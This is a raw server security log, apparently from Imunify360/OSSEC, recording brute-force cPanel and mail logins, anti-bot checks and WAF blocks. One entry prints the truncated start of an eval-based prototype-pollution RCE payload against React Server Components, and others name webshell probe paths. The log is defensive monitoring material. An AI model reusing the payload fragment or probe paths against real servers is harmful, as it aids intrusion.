139.99.170.109 - - [15/Jun/2026:23:21:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9529754&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781565682 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.15.63.140
country_id: 2017370
description:
[2026-06-15 23:23:20 +0000] info [cpaneld] 212.15.63.140 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.166.62.212
country_id: 3469034
description:
[2026-06-15 23:23:41 +0000] info [cpaneld] 45.166.62.212 - fundacionesperanza "GET /login/?login_only=1&user=fundacionesperanza&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanza (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.158.105.174
country_id: 2017370
description:
[2026-06-15 23:23:45 +0000] info [cpaneld] 146.158.105.174 - fundacionesperanz "GET /login/?login_only=1&user=fundacionesperanz&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.44.165.5
country_id: 1694008
description:
[2026-06-15 23:23:33 +0000] info [cpaneld] 143.44.165.5 - fundacionesperanzatog "GET /login/?login_only=1&user=fundacionesperanzatog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.190.102.140
country_id: 1562822
description:
[2026-06-15 23:23:39 +0000] info [cpaneld] 14.190.102.140 - fundacionesperanzat "GET /login/?login_only=1&user=fundacionesperanzat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.242.75.76
country_id: 6252001
description:
[2026-06-15 23:24:15 +0000] info [cpaneld] 98.242.75.76 - fundacio "GET /login/?login_only=1&user=fundacio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacio (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.202.237.222
country_id: 3686110
description:
[2026-06-15 23:23:24 +0000] info [cpaneld] 152.202.237.222 - fundacionesperanzatogo "GET /login/?login_only=1&user=fundacionesperanzatogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.230.166.150
country_id: 2464461
description:
[2026-06-15 23:23:33 +0000] info [cpaneld] 41.230.166.150 - fundacionesperanzatog "GET /login/?login_only=1&user=fundacionesperanzatog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.154.51.18
country_id: 6252001
description:
[2026-06-15 23:23:49 +0000] info [cpaneld] 141.154.51.18 - fundacionespera "GET /login/?login_only=1&user=fundacionespera&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionespera (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.214.61.125
country_id: 630336
description:
[2026-06-15 23:23:59 +0000] info [cpaneld] 37.214.61.125 - fundacionesp "GET /login/?login_only=1&user=fundacionesp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.104.249.1
country_id: 3469034
description:
[2026-06-15 23:24:04 +0000] info [cpaneld] 177.104.249.1 - fundacionesp "GET /login/?login_only=1&user=fundacionesp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.71.233.185
country_id: 285570
description:
[2026-06-15 23:24:15 +0000] info [cpaneld] 188.71.233.185 - fundaci "GET /login/?login_only=1&user=fundaci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundaci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.31.241.249
country_id: 290557
description:
[2026-06-15 23:23:21 +0000] info [cpaneld] 5.31.241.249 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.172.110.42
country_id: 3865483
description:
[2026-06-15 23:23:31 +0000] info [cpaneld] 45.172.110.42 - fundacionesperanzatogotg "GET /login/?login_only=1&user=fundacionesperanzatogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.197.76.6
country_id: 2017370
description:
[2026-06-15 23:23:35 +0000] info [cpaneld] 109.197.76.6 - fundacionesperanzato "GET /login/?login_only=1&user=fundacionesperanzato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzato (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [15/Jun/2026:23:23:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9529754&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781565682 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; nr-ZA) AppleWebKit/531.48.5 (KHTML, like Gecko) Version/3.0.5 Mobile/8B115 Safari/6531.48.5" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.251.168.18
country_id: 3865483
description:
[2026-06-15 23:24:02 +0000] info [cpaneld] 201.251.168.18 - fundaciones "GET /login/?login_only=1&user=fundaciones&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundaciones (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.150.150.56
country_id: 3469034
description:
[2026-06-15 23:24:13 +0000] info [cpaneld] 201.150.150.56 - fundacion "GET /login/?login_only=1&user=fundacion&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacion (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.238.170.100
country_id: 3865483
description:
[2026-06-15 23:24:21 +0000] info [cpaneld] 160.238.170.100 - fundaci "GET /login/?login_only=1&user=fundaci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundaci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.183.202.38
country_id: 3865483
description:
[2026-06-15 23:23:27 +0000] info [cpaneld] 190.183.202.38 - fundacionesperanzatogo "GET /login/?login_only=1&user=fundacionesperanzatogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.68.183.49
country_id: 3996063
description:
[2026-06-15 23:23:38 +0000] info [cpaneld] 200.68.183.49 - fundacionesperanzat "GET /login/?login_only=1&user=fundacionesperanzat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.161.68.66
country_id: 1210997
description:
[2026-06-15 23:23:52 +0000] info [cpaneld] 103.161.68.66 - fundacionespera "GET /login/?login_only=1&user=fundacionespera&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionespera (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.140.1.240
country_id: 3996063
description:
[2026-06-15 23:23:56 +0000] info [cpaneld] 189.140.1.240 - fundacionesper "GET /login/?login_only=1&user=fundacionesper&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesper (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.222.112.217
country_id: 2017370
description:
[2026-06-15 23:24:17 +0000] info [cpaneld] 77.222.112.217 - fundac "GET /login/?login_only=1&user=fundac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.0.164.135
country_id: 2017370
description:
[2026-06-15 23:24:29 +0000] info [cpaneld] 46.0.164.135 - fun "GET /login/?login_only=1&user=fun&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fun (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.135.29.214
country_id: 1733045
description:
[2026-06-15 23:24:32 +0000] info [cpaneld] 115.135.29.214 - fu "GET /login/?login_only=1&user=fu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.57.207.126
country_id: 3686110
description:
[2026-06-15 23:24:34 +0000] info [cpaneld] 176.57.207.126 - fun "GET /login/?login_only=1&user=fun&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fun (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 58.187.54.246
country_id: 1562822
description:
[2026-06-15 23:24:24 +0000] info [cpaneld] 58.187.54.246 - fund "GET /login/?login_only=1&user=fund&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fund (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.249.233.85
country_id: 2542007
description:
[2026-06-15 23:24:31 +0000] info [cpaneld] 41.249.233.85 - fund "GET /login/?login_only=1&user=fund&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fund (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [15/Jun/2026:23:27:45 +0000] "GET /favicon.ico HTTP/2.0" 415 185 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9529754&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781565682" "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; nr-ZA) AppleWebKit/531.48.5 (KHTML, like Gecko) Version/3.0.5 Mobile/8B115 Safari/6531.48.5" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 89.237.196.235
country_id: 1527747
description:
2026-06-15 23:27:58 H=([89.237.196.235]) [89.237.196.235]:25865 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [15/Jun/2026:23:27:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9529754&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781565682 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; nr-ZA) AppleWebKit/531.48.5 (KHTML, like Gecko) Version/3.0.5 Mobile/8B115 Safari/6531.48.5" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: www.account.cloud-et-racks.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var jr=arguments[0x1];var ht=jr;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.254.68
country_id: 3469034
description:
Jun 15 23:28:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.254.68 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.91.203.163
country_id: 3175395
description:
[2026-06-15 23:31:07 +0000] info [cpaneld] 5.91.203.163 - lepopuliste "GET /login/?login_only=1&user=lepopuliste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopuliste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.41.39
country_id: 3895114
description:
[2026-06-15 23:30:48 +0000] info [cpaneld] 190.114.41.39 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.156.180.137
country_id: 660013
description:
2026-06-15 23:30:50 dovecot_plain authenticator failed for H=(8s88mvpzrgribvdsnoe4) [94.156.180.137]:45884: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.238.222.207
country_id: 3865483
description:
[2026-06-15 23:31:14 +0000] info [cpaneld] 45.238.222.207 - lepopulis "GET /login/?login_only=1&user=lepopulis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopulis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.226.139.42
country_id: 3686110
description:
[2026-06-15 23:31:17 +0000] info [cpaneld] 38.226.139.42 - lepopuli "GET /login/?login_only=1&user=lepopuli&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopuli (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.156.180.137
country_id: 660013
description:
Jun 15 23:30:48 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.156.180.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 15 23:30:50 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-15 23:30:52 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:23109: 535 Incorrect authentication data (set_id=yourhost)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.115.158.1
country_id: 1210997
description:
[2026-06-15 23:30:55 +0000] info [cpaneld] 103.115.158.1 - lepopulistetogotg "GET /login/?login_only=1&user=lepopulistetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopulistetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.78.12.149
country_id: 3686110
description:
[2026-06-15 23:31:01 +0000] info [cpaneld] 181.78.12.149 - lepopulisteto "GET /login/?login_only=1&user=lepopulisteto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopulisteto (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.162
country_id: 337996
description:
2026-06-15 23:31:53 dovecot_login authenticator failed for H=(ip-213-124-221-2.ip.prioritytelecom.net) [196.190.43.162]:59802: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.111.183.254
country_id: 1814991
description:
Jun 15 23:31:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.111.183.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.111.183.254
country_id: 1814991
description:
2026-06-15 23:31:33 dovecot_login authenticator failed for H=([49.124.159.194]) [202.111.183.254]:33250: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.158.26.95
country_id: 3865483
description:
[2026-06-15 23:31:33 +0000] info [cpaneld] 186.158.26.95 - lep "GET /login/?login_only=1&user=lep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lep (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.22
country_id: 1149361
description:
2026-06-15 23:32:02 dovecot_login authenticator failed for H=(static-154-209-252-178.pol.net.in) [149.54.62.22]:42700: 535 Incorrect authentication data (set_id=webmaster@anrtogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.190.43.162
country_id: 337996
description:
Jun 15 23:31:51 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.190.43.162 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.210.176.135
country_id: 953987
domain: kalemegdan-disk.de
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kalemegdan-disk.de/index.php/sword/index.php?SID=617h63nksuu69ib5uvhmnlrq12&action=delete&id=27613518&language=german         &page=warenkorb HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.244.177
country_id: 1733045
description:
[2026-06-15 23:31:21 +0000] info [cpaneld] 180.75.244.177 - lepopul "GET /login/?login_only=1&user=lepopul&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopul (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.205.69.25
country_id: 1210997
description:
[2026-06-15 23:31:24 +0000] info [cpaneld] 103.205.69.25 - lepopu "GET /login/?login_only=1&user=lepopu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.137.96.63
country_id: 3686110
description:
[2026-06-15 23:31:36 +0000] info [cpaneld] 143.137.96.63 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.62.22
country_id: 1149361
description:
Jun 15 23:32:00 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.62.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.219.27.81
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sante/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.107.205.213
country_id: 2077456
description:
2026-06-15 23:33:39 dovecot_login authenticator failed for H=ec2-3-107-205-213.ap-southeast-2.compute.amazonaws.com (inger.tg) [3.107.205.213]:6994: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.87.33.35
country_id: 3686110
description:
Jun 15 23:35:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.87.33.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.87.33.35
country_id: 3686110
description:
2026-06-15 23:35:44 dovecot_plain authenticator failed for H=(mastint) [186.87.33.35]:40844: 535 Incorrect authentication data (set_id=www.facebook.comarse@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:23:36:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803209&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781566583 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 141.11.36.54
country_id: 3175395
domain: dagl.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.17||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/myxlsnta/public_html/wp-admin||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 141.11.36.54
country_id: 3175395
domain: dagl.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.17||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 141.11.36.54
country_id: 3175395
domain: dagl.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.234.53.219
country_id: 6252001
description:
[2026-06-15 23:38:57 +0000] info [whostmgrd] 104.234.53.219 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 15 23:39:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-15 23:39:31 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:59828: 535 Incorrect authentication data (set_id=deluge)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.227.51.119
country_id: 2017370
description:
[2026-06-15 23:46:42 +0000] info [cpaneld] 5.227.51.119 - nstreampro "GET /login/?login_only=1&user=nstreampro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreampro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.143.31.50
country_id: 2542007
description:
[2026-06-15 23:46:58 +0000] info [cpaneld] 41.143.31.50 - nstream "GET /login/?login_only=1&user=nstream&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstream (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.166.216.253
country_id: 3017382
description:
[2026-06-15 23:47:13 +0000] info [cpaneld] 88.166.216.253 - nst "GET /login/?login_only=1&user=nst&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nst (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.188.108.163
country_id: 2542007
description:
[2026-06-15 23:47:20 +0000] info [cpaneld] 105.188.108.163 - crechepetitelunetg "GET /login/?login_only=1&user=crechepetitelunetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitelunetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.132.176.74
country_id: 3017382
description:
[2026-06-15 23:46:56 +0000] info [cpaneld] 92.132.176.74 - nstreamp "GET /login/?login_only=1&user=nstreamp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreamp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.235.155.177
country_id: 3469034
description:
[2026-06-15 23:47:19 +0000] info [cpaneld] 45.235.155.177 - ns "GET /login/?login_only=1&user=ns&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ns (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.78.39.53
country_id: 3895114
description:
[2026-06-15 23:47:59 +0000] info [cpaneld] 186.78.39.53 - cre "GET /login/?login_only=1&user=cre&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cre (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.203.207.179
country_id: 3996063
description:
[2026-06-15 23:47:26 +0000] info [cpaneld] 189.203.207.179 - crechepetitelu "GET /login/?login_only=1&user=crechepetitelu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitelu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.105.99.222
country_id: 3624060
description:
[2026-06-15 23:47:26 +0000] info [cpaneld] 200.105.99.222 - crechepetitelu "GET /login/?login_only=1&user=crechepetitelu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitelu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.212.75.64
country_id: 3469034
description:
[2026-06-15 23:47:31 +0000] info [cpaneld] 186.212.75.64 - crechepetitel "GET /login/?login_only=1&user=crechepetitel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitel (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.170.233.44
country_id: 2464461
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/faits-divers/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.3.212.238
country_id: 2017370
description:
[2026-06-15 23:47:41 +0000] info [cpaneld] 5.3.212.238 - crechepeti "GET /login/?login_only=1&user=crechepeti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepeti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.161.223.7
country_id: 2017370
description:
[2026-06-15 23:47:52 +0000] info [cpaneld] 95.161.223.7 - crech "GET /login/?login_only=1&user=crech&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crech (has_cpuser_file failed)


plugin: ossec
rule: 11000
